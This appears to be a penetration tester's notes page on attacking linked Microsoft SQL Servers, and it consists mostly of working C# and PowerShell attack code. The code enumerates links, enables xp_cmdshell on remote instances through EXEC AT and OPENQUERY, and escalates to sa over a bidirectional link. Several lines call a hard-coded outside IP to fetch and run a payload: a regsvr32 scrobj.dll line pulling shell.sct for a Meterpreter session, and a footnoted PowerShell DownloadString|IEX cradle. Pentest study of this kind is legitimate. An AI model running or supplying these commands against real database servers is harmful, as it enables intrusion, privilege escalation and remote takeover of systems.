# Linked SQL Servers

{% embed url="<https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-openquery-openrowset-exec-at?view=sql-server-ver16>" %}
While Microsoft documentation specifies that execution of stored procedures is not supported on linked SQL servers with the OPENQUERY keyword, it is actually possible.
{% endembed %}

## Enumerate for linked servers

{% code title="with PowerUpSQL" overflow="wrap" %}

```powershell
Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1

#to find login account for EXEC AS LOGIN
Get-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select * from master..syslogins" | ft
```

{% endcode %}

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Enumerate linked servers (see other server instance name)
			String res = executeQuery("EXEC sp_linkedservers;", con);
			Console.WriteLine($"[*] Found linked servers: {res}");
```

{% endcode %}

{% hint style="info" %}
May also found links in other forest, then compromise with the same way.

enum across trusted domain: `setspn -T corp1 -Q MSSQLSvc/*`

enum across trusted forest: `setspn -T corp2.com -Q MSSQLSvc/*`
{% endhint %}

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// in compromised SQL server, execute on target linked server & check login context
			String linktarget = "Instance2"; 
			String login = executeQuery($"EXEC (SELECT SYSTEM_USER;) AT {linktarget};", con);
			Console.WriteLine($"[*] Logged in as: {login} on {linktarget}");
			String uname = executeQuery($"EXEC (SELECT USER_NAME();) AT {linktarget};", con);
			Console.WriteLine($"[*] Database username: {uname} on {linktarget}");
			getGroupMembership("public", con);
			getGroupMembership("sysadmin", con);
```

{% endcode %}

It is possible that we can logon as privileged user on another server even we are having low privilege on the original server. Try Impersonating using the info from the output in the beginning if not.&#x20;

## Command Execution

{% code title="with PowerUpSQL" overflow="wrap" %}

```powershell
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | ft
```

{% endcode %}

<pre class="language-csharp" data-title="insert into Main" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">			// Execution on linked server
			String linktarget = "Instance2"; 
			//String res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
			String res = executeQuery($"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
			//res = executeQuery($"EXEC ('EXECUTE AS LOGIN = ''sa_svc''; sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
			res = executeQuery($"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell option on {linktarget}.");
			String cmd = "powershell -enc <a data-footnote-ref href="#user-content-fn-1">KABOAEUAWAA=</a>";
			res = executeQuery($"EXEC ('xp_cmdshell ''{cmd}'';') AT {linktarget};", con);
			Console.WriteLine($"[*] Triggered command. Result: {res}");
</code></pre>

{% code title="using openquery" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Execute on linked server via 'openquery'
			String linktarget = "Instance2";
			String res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')", con);
			Console.WriteLine($"[*] Enabled advanced options on {linktarget}.");
			res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell options on {linktarget}.");
			res = executeQuery($"select 1 from openquery(\"{linktarget}\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll''')", con);
			Console.WriteLine($"[*] Triggered Meterpreter oneliner on {linktarget}. Check your listener!");
```

{% endcode %}

## Privilege Escalation on the local server via bidirectional link

When the link from *instance 1* to *instance 2* has ***sa*** security context, and *instance 2* has a link to *instance 1*, we could follow the link to *instance 2* to obtain the ***sa*** login context and return back over the link to instance 1. Use when no other privilege escalation paths on the local server.

{% code title="insert into Main" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
			// Escalate via double database linkedString 
			String su = executeQuery("SELECT SYSTEM_USER;", con);
			String localser = "Instance1";
			String linktarget = "Instance2";
			Console.WriteLine($"[*] Current system user is '{su}' in {localser} database.");
			su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select SYSTEM_USER as mylogin');", con);
			Console.WriteLine($"[*] Current system user is '{su}' in database '{linktarget}' via 1 link.");
			su = executeQuery($"select mylogin from openquery(\"{linktarget}\", 'select mylogin from openquery(\"{localser}\", ''select SYSTEM_USER as mylogin'');');", con);
			Console.WriteLine($"[*] Current system user is '{su}' in database '{localser}' via 2 links.");
			String res = executeQuery($"EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled advanced options on {localser} via link back from {linktarget}.");
			res = executeQuery($"EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Enabled xp_cmdshell option on {localser} via link back from {linktarget}.");
			String cmd = "regsvr32 /s /n /u /i:http://192.168.119.120/shell.sct scrobj.dll";
			res = executeQuery($"EXEC ('EXEC (''xp_cmdshell ''''{cmd}'''' ;'') AT {localser};') AT {linktarget};", con);
			Console.WriteLine($"[*] Triggered command. Result: {res}");
```

{% endcode %}

[^1]: `iconv -f ASCII -t UTL-16LE <<<"(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/shell.txt') | IEX" | base64 -w0`
